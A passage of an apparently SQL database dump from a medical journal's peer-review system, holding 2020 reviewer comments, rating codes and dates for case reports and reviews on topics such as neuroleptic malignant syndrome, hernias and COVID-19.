recommended','2020-08-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2143,13913,5361,NULL,'6','r','y','M','Y','Dear Author,\r\nVery nicely addressed all areas.','accepted please','2020-08-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2154,13886,5299,NULL,'5','R','Y','M','N','This case is about post trauma testicular ectopia in the scrotal region. \r\n\r\nThe abstract is well presented.\r\n\r\nThe introduction section provides background information on conditions related with cryptorchidism as well as this condition being the most frequent congenital urological malformation in males. Trauma is another main reason for such conditions. \r\n\r\nThe case report is well presented. The details of the case has been described. The incident of the case, the injuries and the procedures underwent by the case and the follow up has been explained well. Necessary figures have been presented related to the case.\r\n\r\nThe discussions is ok.\r\n\r\nThe conclusions are fine.\r\n\r\nThe references are valid and sufficient.','','2020-08-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2158,13886,5464,NULL,'4','G','Y','Y','N','This article is a case study in a patient who developed neuroleptic malignant syndrome due to the use of Quetiapine.\r\n\r\nThe abstract is fine, presented well. \r\n\r\nThe introduction section is insufficient. More background information on Neuroleptic malignant syndrome and in causes including some evidences are required. A little more information would be helpful to set the context of the study. \r\n\r\nThe case report is presented in detail. All details of the case including the symptoms, admission to the emergency, clinical presentations, detailed history taking, medications, development of symptoms of NMS, differential diagnosis, mental status examination, laboratory investigations and other diagnosis have been explained. Figure has also been presented. Based on all the information, the possible diagnosis of NMS was considered. She was discharged within a week and was advised to follow up. \r\n\r\nThe discussions is based on the case presented. Different aspects of the case has been discussed in this section. This section is fine. \r\n\r\nThe references are valid and sufficient.\r\n\r\nOverall, the article is well presented and the case has been sufficiently discussed. Only some additional information required in the introduction section. ','','2020-08-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2159,12875,5655,NULL,'4','R','N','Y','Y','though it comes under the short submission category, the summary in itself can not be justified. Authors may like to give a bit more epidemiological details of their study subjects, presenting symptoms &signs, investigations done if any and outcomes','An interesting short report, but better to add some more details of their study subjects, presenting symptoms & signs, investigations done if any interventions and outcomes','2020-08-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2160,12875,5656,NULL,'4','G','Y','Y','Y','The submission is a good summary of the skill development methodology for Robotic surgery. The reviewer does not see explicitly the role of i) assisting the master-trainer on the job and ii) supervised performance before solitary effort. One would like the authors to consider the explicit expression of these steps between their step  2 and 3','A subject in demand and having increasing importance in the near future needs more explicit expressions of tools used and training methodology a bit more in detail with outcomes and challenges at the different stages.','2020-08-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2164,12875,5549,NULL,'5','R','N','Y','Y','The authors present a review of Appendicitis within a de Garengeot’s hernia over a period of 59 years. Reviewer appreciates the sheer effort of searching, Reviewing analyzing, and making a consolidated report that would benefit any general surgery postgraduate and young professional. The current literature review confirms the rarity of de Garengeot’s hernia leading to the lack of a standardized operative technique but captures approaches the surgeon’s prefered to dop based on individual comfort and expertise. Lack of diagnostic tools in the absence of CE CT,  the irreducible hernia became an indicator for surgery and the contents of the sac were only detected after direct exploration. There have been cases of a pre-operative diagnosis was established by imaging. Hernia mesh has been around for over 50 years, but as only in 20 cases reviewed it was used, points to any new technique take time to get established. ','An extraordinary effort by the authors of reviewing Appendicitis within a de Garengeot’s hernia over a period of 59 years and history of its presentation, diagnosis, and surgical management. Deserves publishing with due priority','2020-08-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2172,12519,5795,NULL,'4','G','D','Y','N','The authors studied metabolomic changes in colorectal cancer along with targeting FAS/other enzymes say for  tryptophan metabolism  and glutamine metabolism,kynurenine metabolism ,avoid Warburg effect etc etc  as therapeutic approaches and biomarkers  besides surgery RT/Chemotherapy-concluding Metabolic changes in colorectal  carcinomas result in production of metabolites that can be used in diagnosis, monitoring of therapy and prognosis in colorectal carcinomas patients.\r\nIn this review, there are several metabolites that have been evaluated and there are more still being evaluated for use in colorectal carcinomas diagnosis, therapy monitoring and prognosis evaluations\r\n-Good article –biggest problem is no spacing throughout article pl soace it like in 1st para The renewed attention given to metabolic processes related to malignant cells has steered a drive towards an understanding of metabolomic phenotyping in the histochemical pathology of cancer tissues.1Neoplastic cells go through a series of metabolic transformation in order to maintain the rapid cell division, multiplication, and propagation.2The aftermath of this metamorphosis is that several and varied metabolic phenotypes emanate in the cancer cells which are quite dissimilar when compared with non-neoplastic cells.3A comprehensive understanding of the natural science of tumour growth would be a mirage without identifying the gamut of metabolites and their diverse nature. This information is  vital  and more so  that it could also enable scientists advance techniques for cancer care while using these metabolites as  diagnostic and prognostic markers.1,4\r\nColorectal carcinomas are malignant tumors of the colon. Their growth involves production or-needs spacing throughout article\r\n','The authors studied metabolomic changes in colorectal cancer along with targeting FAS/other enzymes say for  tryptophan metabolism  and glutamine metabolism,kynurenine metabolism ,avoid Warburg effect etc etc  as therapeutic approaches and biomarkers  besides surgery RT/Chemotherapy-concluding Metabolic changes in colorectal  carcinomas result in production of metabolites that can be used in diagnosis, monitoring of therapy and prognosis in colorectal carcinomas patients.\r\nIn this review, there are several metabolites that have been evaluated and there are more still being evaluated for use in colorectal carcinomas diagnosis, therapy monitoring and prognosis evaluations\r\n-Good article –biggest problem is no spacing throughout article pl soace it like in 1st para The renewed attention given to metabolic processes related to malignant cells has steered a drive towards an understanding of metabolomic phenotyping in the histochemical pathology of cancer tissues.1Neoplastic cells go through a series of metabolic transformation in order to maintain the rapid cell division, multiplication, and propagation.2The aftermath of this metamorphosis is that several and varied metabolic phenotypes emanate in the cancer cells which are quite dissimilar when compared with non-neoplastic cells.3A comprehensive understanding of the natural science of tumour growth would be a mirage without identifying the gamut of metabolites and their diverse nature. This information is  vital  and more so  that it could also enable scientists advance techniques for cancer care while using these metabolites as  diagnostic and prognostic markers.1,4\r\nColorectal carcinomas are malignant tumors of the colon. Their growth involves production or-needs spacing through out article\r\n','2020-08-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2173,10962,5670,NULL,'4','g','y','y','y','(DOI: 10.1111/iwj.13265 ) and (DOI: 10.21802/gmj.2019.2.11) I suggest both of these uptodate studies for the references.','acceptable after revision','2020-08-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2186,12875,5833,NULL,'4','R','N','Y','Y','The authors have submitted a rare case study of mucinous neoplasm of the appendix classified as LAMN on the background of long-term chronic ulcero-hemorrhagic colitis. The presentation of the case with complaints of more frequent moderate, periodic pain in the right lower quadrant of about a year, was well investigated with contrast CT. Laparotomy and other operative procedures are well presented with photographs. However, the follow-up is not included to infer on the prognosis.','A rare case study report deserves publication but asking to include the follow -up to infer prognosis will add value','2020-08-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2205,13601,4483,NULL,'1','R','N','Y','N','- The Introduction is very concise. Given the title of the paper, the financing challenges and the existing gaps should be mentioned using the evidence, and finally the purpose of the article should be presented. There is no such thing in this introduction and only the country\'s setting and health status are mentioned.\r\n- The study method, as one of the most important parts of the article, is not presented .\r\n- Body of paper isn\'t clear.\r\n- There is no clear distinction between the different sections of the article.\r\n- The \"Discussion\" section is not written as part of the article.\r\n- The manuscript needs  technical, writing and structural editing.','This study does not have the structure of a scientific article and cannot be published in a scientific  journal in this format. Please read the comments in the box above.\r\nTo response \"Other: the study provides limited new information ? Put Y for Yes or N for No\", I chose \"N\". In fact, this article provides a lot of information, but information that can be obtained through other annual reports.','2020-08-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2207,13672,5294,NULL,'2','G','Y','Y','N','The authors presented an interesting case report about an isolated right pulmonary artery hypoplasia which is a rare condition and could cause a wrong diagnosis and management to subjects presented by a similar clinical picture.\r\nThe author clearly presented the case report and made a well-described conclusion that succeeded to apply the rare case to the clinical practice. \r\nThere are some points to modify which I consider as major defects:\r\n1.	No abstract found.\r\n2.	No references were cited in the introduction.\r\n3.	In the Case Report section: The author did not mention further management or decision made for this patient.\r\n4.	The author did not mention any statement about the ethical considerations e.g. obtaining written consent from the patient or approval of the ethical committee of the institute he recruited the patient from.\r\n5.	No discussion found.\r\n6.	I was interested to see pictures presenting the radiological picture of this rare case but unfortunately, there was no one graph.','Major modifications are needed.\r\nthe case report needs to be re-written.\r\nrejection is deserved but the rare case deserves to take another chance.','2020-08-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2214,9933,5109,NULL,'5','g','y','y','n','Comparison of sero-epidemiological prevalence of TB with Acid Fast Bacilli sputum positive cases in TB suspects of lower Dir objective of the manuscript is clear and significant method is used for evaluation of study. Results are significantly explained in tables and figures for clear understanding and conclusion is also clear. Thus, the manuscript is recommended to publish without any changes.','','2020-08-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2223,7023,5156,NULL,'4','R','D','M','Y','Study is definitely of relevance. \r\nSome typing errors are: \r\nIntroduction : line 9 and lines 14 have the references which are not superscript.\r\nSummary and conclusion:\r\nLine 9 the stop sign is in the middle of the sentence','','2020-08-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2225,12875,5907,NULL,'5','G','D','M','Y','The authors have presented a very rare case of Trapezius muscle reconstruction after resection of a desmoid tumor using an innervated gracilis free flap. The patient is a young lady cosmetic efforts to get a more attractive contour of the neck area, Most importantly follow-up for 7 years with no recurrence or any other complications or impact on the functionality of the muscle deserves commendation. Though MRI scans are depictive One would have liked to see the before and after photographs of the person (masking identity). ','A rare case study, the diagnostic efforts and an innovative surgery including cosmetic corrections getting excellent results is worth publishing','2020-08-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2226,13225,4496,NULL,'4','G','Y','Y','Y','The article entitled \" Transcranial Magnetic Stimulation in Patients with Movement Disorders: A Review of Observational Study\" is a research article which explain  the basic principles on which the therapeutic use of transcranial magnetic stimulation is based and review the clinical trials that have been performed in patients with movement disorders. And got a conclusion that the use of a range of clinical measures that includes quality-of-life and functional outcomes. The article is very interesting and useful for future study. With proper experimental method the author explain it very nicely.  Keywords are missing. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \" Transcranial Magnetic Stimulation in Patients with Movement Disorders: A Review of Observational Study\" is a research article which explain  the basic principles on which the therapeutic use of transcranial magnetic stimulation is based and review the clinical trials that have been performed in patients with movement disorders. And got a conclusion that the use of a range of clinical measures that includes quality-of-life and functional outcomes. The article is very interesting and useful for future study. With proper experimental method the author explain it very nicely.  Keywords are missing. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2020-08-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2227,13225,4629,NULL,'4','G','Y','Y','Y','The article entitled \" Cross-subject and cross-paradigmlearning using convolutional neural network for P300 event-related potential detection\" is a research article which explain  to evaluate the possibility of Transfer Learning (TL) implementation using the fine-tuning technique on convolutional neural networks (CNN) by two different approaches: 1) Cross-Subject, and 2) Cross-Paradigm. And got a conclusion that Overall in cross-subject and cross-paradigm TL approach using CNN, character detection accuracy was improved in comparison to LDA and the amount of training data was decreased significantly. The article is very interesting and useful for future study. With proper tables and figures the author explain it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \" Cross-subject and cross-paradigmlearning using convolutional neural network for P300 event-related potential detection\" is a research article which explain  to evaluate the possibility of Transfer Learning (TL) implementation using the fine-tuning technique on convolutional neural networks (CNN) by two different approaches: 1) Cross-Subject, and 2) Cross-Paradigm. And got a conclusion that Overall in cross-subject and cross-paradigm TL approach using CNN, character detection accuracy was improved in comparison to LDA and the amount of training data was decreased significantly. The article is very interesting and useful for future study. With proper tables and figures the author explain it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2020-08-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2228,13225,4676,NULL,'4','G','Y','Y','Y','The article entitled \" Relationship between the postoperative delirium and dementia in elderly surgical patients: Alzheimer’s disease or Vascular dementia relevant study\" is a theory article which explain  95 patients, aged ≥56 years and undergoing surgery were retrospectively enrolled. Multivariate analysis was performed for risk factors that showed a significant difference between delirium and non delirium groups. And got a conclusion that AD and VaD would share the pathophysiology, two subtype dementia consequently makes a similar contribution to delirium incidence rates in elderly postoperative patients. The article is very interesting and useful for future study. With proper tables the author explain it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.\r\n','The article entitled \" Relationship between the postoperative delirium and dementia in elderly surgical patients: Alzheimer’s disease or Vascular dementia relevant study\" is a theory article which explain  95 patients, aged ≥56 years and undergoing surgery were retrospectively enrolled. Multivariate analysis was performed for risk factors that showed a significant difference between delirium and non delirium groups. And got a conclusion that AD and VaD would share the pathophysiology, two subtype dementia consequently makes a similar contribution to delirium incidence rates in elderly postoperative patients. The article is very interesting and useful for future study. With proper tables the author explain it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.\r\n','2020-08-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2247,12875,5948,NULL,'4','G','Y','M','Y','Authors, efforts to advocate the superiority of Medical Training through 360 Virtual Reality – is appreciable. However, in subjects like surgery and other interventions skill can not be ensured through only observation irrespective of how many times you can go back and visualize. Quoting research by Harvard University showed that surgeons who are trained by VR had a 230% boost in the overall performance compared to traditionally trained peers is debatable. Their own experimentation of both the methods even on a small sample could add value. Seeing beautifully filmed videos and feeling happy can be authenticated only when the trainee can do the task initially under the supervision and later independently. Documenting the differences in skill-building (not just knowledge) and complementing this manuscript would have added value.','Theoretically, the VR technology may be appealing but there is a need to prove ti\'s potential in actual skill-building of all medical and surgical interventions that depend upon the dexterity of the internet, not just the knowledge. Suggest adding a small sample comparative study of both traditional and VR technology in training for surgical interventions.','2020-08-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2253,10393,5770,NULL,'2','R','Y','M','Y','1. The manuscript should be rewritten more precisely as it causes confusion in certain areas and fails to make itself clear to the reader.\r\n2. figures need to be labeled and magnification mentioned.\r\n3. Although the researcher\'s claim that high PSA levels need not be related to advanced prostate cancer is promising, their second goal as to how different levels of PSA in different cases should be treated needs to be supported by more substantial results.','1. The manuscript should be rewritten more precisely as it causes confusion in certain areas and fails to make itself clear to the reader.\r\n2. figures need to be labeled and magnification mentioned.\r\n3. Although the researcher\'s claim that high PSA levels need not be related to advanced prostate cancer is promising, their second goal as to how different levels of PSA in different cases should be treated needs to be supported by more substantial results.','2020-08-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2256,11659,5233,NULL,'5','R','y','y','y','El caso clínico fue muy bien presentado con todas las imágenes. recomiendo este caso clínico para su publicación','El caso clínico fue muy bien presentado con todas las imágenes. recomiendo este caso clínico para su publicación','2020-08-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2257,13225,4719,NULL,'4','G','Y','Y','Y','The article entitled \"Primary diffuse large B-cell lymphoma with features simulating POEMS syndrome: Case report and review of the literature\" is a case report which explain  The diagnosis of chronic polyradiculoneuritiswas made based on Cerebrospinal fluid (CSF) analysis and electromyography study (EMG). Results of this study will enhance our understanding of POEMS syndrome has an unusual presentation in patients with diffuse large B-cell lymphoma even in the absence of monoclonal plasma cell proliferative disorder considered as the essential criterion.  The article is very interesting and useful for future study. With proper tables the author explain it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"Primary diffuse large B-cell lymphoma with features simulating POEMS syndrome: Case report and review of the literature\" is a case report which explain  The diagnosis of chronic polyradiculoneuritiswas made based on Cerebrospinal fluid (CSF) analysis and electromyography study (EMG). Results of this study will enhance our understanding of POEMS syndrome has an unusual presentation in patients with diffuse large B-cell lymphoma even in the absence of monoclonal plasma cell proliferative disorder considered as the essential criterion.  The article is very interesting and useful for future study. With proper tables the author explain it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2020-08-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2268,12875,5959,NULL,'4','R','D','Y','Y','The author reports having tried a new tool for the evaluation of surgical training. However, the basic principle of an FGD is flouted where one expects a minimum of 8-10 participants. He himself reports that during FGD, one participant was more dominant than others, and that might have induced an unwanted bias into the findings. The heterogeneous group fo 2 +3 candidates would also influence the outcome. The senior trainees prefer a global perspective on their overall clinical performance rather than the junior trainees. The conclusion that in the absence of s reliable alternative to PBAs that can assess a surgical trainee’s operating ability and record it in real times PBA appears to be a useful tool is acceptable','A  realtime evaluation tool tried, though on a very small number of trainees does provide some option and therefore deserves publication','2020-08-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2272,11589,4915,NULL,'4','G','Y','Y','Y','The article entitled \"Why COVID 19 virus causes Large vessel stroke selectively? An evidence based review\" is a Commentary Article which explain  about COVID-19 and coagulation disorders. Which is the most important topic now-a days. Which is a global pandemic.  The article is very interesting and useful for future study.  Keywords are missing. I suggest a small change i.e. the formating and grammer after that this article can publish.','The article entitled \"Why COVID 19 virus causes Large vessel stroke selectively? An evidence based review\" is a Commentary Article which explain  about COVID-19 and coagulation disorders. Which is the most important topic now-a days. Which is a global pandemic.  The article is very interesting and useful for future study.  Keywords are missing. I suggest a small change i.e. the formating and grammer after that this article can publish.','2020-09-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2314,8997,5734,NULL,'6','6','6','6','6','cohesive and objective manuscript\r\n\r\nSafe and reapplicable method\r\n\r\nResults and discussion relevant to the object of investigation.\r\n\r\nupdated references','cohesive and objective manuscript\r\n\r\nSafe and reapplicable method\r\n\r\nResults and discussion relevant to the object of investigation.\r\n\r\nupdated references','2020-09-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2315,8997,6067,NULL,'6','6','6','6','6','cohesive and objective manuscript\r\n\r\nSafe and reapplicable method\r\n\r\nResults and discussion relevant to the object of investigation.\r\n\r\nupdated references','cohesive and objective manuscript\r\n\r\nSafe and reapplicable method\r\n\r\nResults and discussion relevant to the object of investigation.\r\n\r\nupdated references','2020-09-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2317,13225,5803,NULL,'4','G','Y','Y','Y','The article entitled \"Central skull base osteomyelitis with ischemic infarct: case report and literature review\" is a case report which explain  arterial cerebrovascular complications revealing CSBO are extremely rare and the diagnosis is often challenging for the clinician. Results of this study shows that Vascular involvement is not surprising radiological finding in SCBO. However, subsequent ischemic stroke is an extremely rare presentation at the time of diagnosis. The article is very interesting and useful for future study. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"Central skull base osteomyelitis with ischemic infarct: case report and literature review\" is a case report which explain  arterial cerebrovascular complications revealing CSBO are extremely rare and the diagnosis is often challenging for the clinician. Results of this study shows that Vascular involvement is not surprising radiological finding in SCBO. However, subsequent ischemic stroke is an extremely rare presentation at the time of diagnosis. The article is very interesting and useful for future study. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2020-09-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2318,13225,5420,NULL,'4','G','Y','Y','Y','The article entitled \"Misdiagnosis of Heroin-InducedLeukoencephalopathy in two patients\" is a case report which explain  toxic leukoencephalopathy associated with opiate abuse in which they were initially admitted to the psychiatric ward. Results of this study shows that Toxic leukoencephalopathy is a rare condition that can be caused by Inhalation of heroin. Clinically, it may present with confusion, behavioral changes, extrapyramidal symptoms, generalized motor deficit, unresponsiveness and even death. The article is very interesting and useful for future study. With proper figures the author expain it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"Misdiagnosis of Heroin-InducedLeukoencephalopathy in two patients\" is a case report which explain  toxic leukoencephalopathy associated with opiate abuse in which they were initially admitted to the psychiatric ward. Results of this study shows that Toxic leukoencephalopathy is a rare condition that can be caused by Inhalation of heroin. Clinically, it may present with confusion, behavioral changes, extrapyramidal symptoms, generalized motor deficit, unresponsiveness and even death. The article is very interesting and useful for future study. With proper figures the author expain it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2020-09-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2327,12513,5994,NULL,'5','G','N','Y','N','  I was looking to see a set of new information about this pandemic as hundreds of articles have been published so far with almost the same information. ','The article as short communication provides limited new data about Corona virus. I don\'t see anything which makes it not valid for publication.','2020-09-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2330,13225,5245,NULL,'4','G','Y','Y','Y','The article entitled \"Consideration of the effects of COVID-19 on the mental health of students\" is a commentary article which explain rapid spread of the SARS-CoV-2 virus has led to the implementation of stay-at-home orders and forced students to attend school virtually. Results of this study shows , the Covid-19 pandemic has significantly increased students\' stress levels all around, notably in areas where prevalence is high. The article is very interesting and useful for future study. With proper figures and tables the author explain it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"Consideration of the effects of COVID-19 on the mental health of students\" is a commentary article which explain rapid spread of the SARS-CoV-2 virus has led to the implementation of stay-at-home orders and forced students to attend school virtually. Results of this study shows , the Covid-19 pandemic has significantly increased students\' stress levels all around, notably in areas where prevalence is high. The article is very interesting and useful for future study. With proper figures and tables the author explain it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.\r\n','2020-09-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2332,12971,5766,NULL,'5','G','Y','y','y','Hay dos tipos diferentes de investigación de revisión de la literatura disponibles: revisión sistemática y revisión no sistemática o revisión narrativa (actualización).\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos. Los autores deben comentar estas limitaciones en su trabajo.\r\n¿Qué quieren decir los autores cuando escriben: \"El enfoque del paciente, la intervención, la comparación y los resultados\"? Debe explicarse y argumentarse con alguna cita bibliográfica.\r\n','Hay dos tipos diferentes de investigación de revisión de la literatura disponibles: revisión sistemática y revisión no sistemática o revisión narrativa (actualización).\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos. Los autores deben comentar estas limitaciones en su trabajo.\r\n¿Qué quieren decir los autores cuando escriben: \"El enfoque del paciente, la intervención, la comparación y los resultados\"? Debe explicarse y argumentarse con alguna cita bibliográfica.\r\n','2020-09-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2336,9109,5174,NULL,'5','g','y','y','n','Evaluation on the drugs dexamethasone and remdesivir as potential drugs compared to the others is the concept of this manuscript. the review article was well written and explained clearly the results that you have gotten. In fact, tese anti-viral drugs are using for treatment of current pandemic COVID-19. This is very important in the right situation to get better medicine to treat the same. We can publish this article.','','2020-09-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2339,9915,5589,NULL,'5','g','y','y','n','Pathogenesis of the helicobacter Pylori was writte in the maanuscript. The author has written the article with full clarity and in neat presentation. Indicator staartegy as used in this article. The article is good to publish.','','2020-09-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2340,8599,5922,NULL,'5','g','y','y','n','Hypothesis is little short but the content within article is good. The current pandemic situation was expalined very well. I recommend it to publish.','','2020-09-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2382,10393,6035,NULL,'4','G','Y','Y','Y','1. Page 5 second paragraph-in the mouse model with grafted skin how was it proved that the CAR-T could cross the BBB? that point needs t to be included.\r\n2. The Immune response generally is based on a subtle balance and an excess of it can harm the host body. Will the introduction of CAR-T an immune response will be elicitated but how will the extent of it be controlled so that the inflammation does cause harm to the other organs of the body?\r\n3. Page 7 First paragraph- \"Inhibiting STAT3 .... construct therapy\" the reference is not recent. Are any recent studies conducted on this? If yes please provide more recent and up to date information on this.\r\n4. As GBM is a very heterogeneous tumor, a more personal targeting approach might be required for individual patients. Is there any information available for the cost-effectiveness of such therapies? \r\n5. The manuscript needs to be shortened a bit and more recent references need to be included wherever available.','Prospects for Chimeric Antigen Receptor T-Cell therapy in the treatment of Glioblastoma Multiforme: tries to encompass the current literature of CAR-T cells prospect on GBM and it has covered a wide range of information. This review is well written and could be considered for publication if the comments are addressed and included in the revised copy.\r\n1. Page 5 second paragraph-in the mouse model with grafted skin how was it proved that the CAR-T could cross the BBB? that point needs t to be included.\r\n2. The Immune response generally is based on a subtle balance and an excess of it can harm the host body. Will the introduction of CAR-T an immune response will be elicitated but how will the extent of it be controlled so that the inflammation does cause harm to the other organs of the body?\r\n3. Page 7 First paragraph- \"Inhibiting STAT3 .... construct therapy\" the reference is not recent. Are any recent studies conducted on this? If yes please provide more recent and up to date information on this.\r\n4. As GBM is a very heterogeneous tumor, a more personal targeting approach might be required for individual patients. Is there any information available for the cost-effectiveness of such therapies? \r\n5. The manuscript needs to be shortened a bit and more recent references need to be included wherever available.','2020-09-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2384,9108,5914,NULL,'5','g','y','y','n','Written in very good way and i recommend to publish manuscript without any changes','','2020-09-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2388,12875,6160,NULL,'4','G','N','Y','Y','The authors report two types of Hernia surgeries one open under spinal anesthesia and another laparoscopic under General anesthesia. Both procedures described are well accepted globally. The best of the study is they have avoided the surgeon\'s skill bias by involving only one surgeon. Minimal invasion surgeries like laparoscopic surgeries are known to be needing shorter hospital stay, pain, etc. The world has moved over to the use of local anesthesia for hernia surgery minimizing the risk of spinal or general anesthesia. One would have liked to compare postoperative pain, hospital stay, etc. among the open surgery group between three categories ( local, spinal and General) of anesthesia.','A good study and inference based on a single surgeon\'s surgeries. ','2020-09-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2390,13236,6013,NULL,'5','g','y','y','n','the case report is good and well written','the case report is good and well written','2020-09-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2402,12875,6204,NULL,'4','R','D','M','Y','Compliments to the authors for reporting a rare case of Gastro0cutaneous fistula and it\'s surgical management. The visuals are convincing and the description of the surgery and follow-up after a month establishes the value add of the surgery. While the Histopathology reported concluded gastric inflammation and ulceration and ruled out dysplasia, malignancy or H. pylori, I would have liked that the authors explicitly mention the exclusion of Tuberculosis as that would be a common infection in developing countries and there were presenting features elicited like around 8Kg weight loss over 3 months time, loss of appetite and A 22-pack year smoking history. ','A rare and interesting case report worth publication. However, if the authors can explicitly record and report that TB was excluded it will be a value-add','2020-09-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2403,8796,6064,NULL,'5','g','y','y','y','The author has selected this article Contribution to the Study of Growth of Luciobarbus Mascarensis (Teleostei: Cyprinidae) in two Freshwater Systems in Western Algeria is very interesting and novel to the readers. This study provides the first basic information on the length weight parameters and the condition factors of the species Luciobarbus mascarensis from Oued el-hammam and the bouhanifia dam. The study of the weight-length relationship of L. mascarensis shows that the growth model of the population of the wadi el-hammam is much better than that of the bouhanifia dam. I accept to publish this article in our journal.','The author has selected this article Contribution to the Study of Growth of Luciobarbus Mascarensis (Teleostei: Cyprinidae) in two Freshwater Systems in Western Algeria is very interesting and novel to the readers. This study provides the first basic information on the length weight parameters and the condition factors of the species Luciobarbus mascarensis from Oued el-hammam and the bouhanifia dam. The study of the weight-length relationship of L. mascarensis shows that the growth model of the population of the wadi el-hammam is much better than that of the bouhanifia dam. I accept to publish this article in our 